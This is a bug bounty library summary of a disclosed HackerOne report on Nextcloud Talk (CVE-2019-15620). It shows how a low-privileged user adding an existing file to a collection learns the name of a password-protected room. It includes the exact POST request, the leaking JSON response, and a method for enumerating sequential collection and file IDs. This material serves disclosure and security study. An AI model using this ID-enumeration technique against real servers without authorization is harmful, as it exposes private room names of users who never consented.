# Talk - Leak of password-protected room name via already existent resource addition

Low-privileged user adds an already-shared file to a collection, and the response leaks the name of a password-protected Talk room they cannot access.

- Payout: $150
- Severity: low
- Program: Nextcloud
- Found by: foobar7
- Disclosed: 2020-03-01
- CVE: CVE-2019-15620
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/662218
- Library page: https://bugbountylibrary.com/r/h1%3A662218
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:low tech:php technique:recon vuln:access-control vuln:idor vuln:info-disclosure

**Target:** Nextcloud Talk/Spreed collaboration resources collections OCS endpoint
**Root cause:** The collections resource-add endpoint returns the full collection metadata including linked room name without verifying the requester has access to the password-protected room.
**Steps:**
1. Create a password-protected Talk room and share a file into it via Projects.
2. As a low-privileged user, send `POST /nextcloud/nextcloud/ocs/v2.php/collaboration/resources/collections/21?format=json` with body `{"resourceType":"file","resourceId":"1619"}` where 1619 is a file already shared in the target room.
3. Iterate collection IDs and file IDs (both sequential) to enumerate rooms.
4. Read the response `data.resources[].name` / room `name` field leaking the protected room name.
**How found:** Noticed the collections endpoint returns linked room metadata; hypothesized access control was missing on the room name when adding an already-existent resource, then tested with a password-protected room.
**Exploitation:** Authenticated low-priv user brute-forces sequential collection IDs and file IDs, POSTs an existing shared file into each collection, and reads back the room name and ID from the JSON response.
**Insight:** Endpoints that add an existing resource to a collection often echo back the full collection contents; test them against protected/private containers to see if linked object names leak without membership checks.

## Proof of concept (copied exactly from the original report)

**POST adding file to protected room leaks name**

```
POST /nextcloud/nextcloud/ocs/v2.php/collaboration/resources/collections/21?format=json HTTP/1.1
        Host: 192.168.0.104
        User-Agent: [...]
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/json;charset=utf-8
        requesttoken: [...]
        Content-Length: 43
        Connection: close
        Cookie: [...]

        {"resourceType":"file","resourceId":"1619"}
```

**Response leaking protected room name and ID**

```
{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":{"id":21,"name":"privateprivateprivate","resources":[{"type":"file","id":"1619","name":"aaaa.txt","path":"files\/aaaa.txt","link":"http:\/\/192.168.0.104\/nextcloud\/nextcloud\/index.php\/f\/1619","mimetype":"text\/plain","preview-available":true},{"type":"room","id":"w3die6ou","name":"privateprivateprivate","call-type":"public","iconUrl":"http:\/\/192.168.0.104\/nextcloud\/nextcloud\/apps\/spreed\/img\/app-dark.svg","link":"http:\/\/192.168.0.104\/nextcloud\/nextcloud\/index.php\/call\/w3die6ou"}]}}}
```

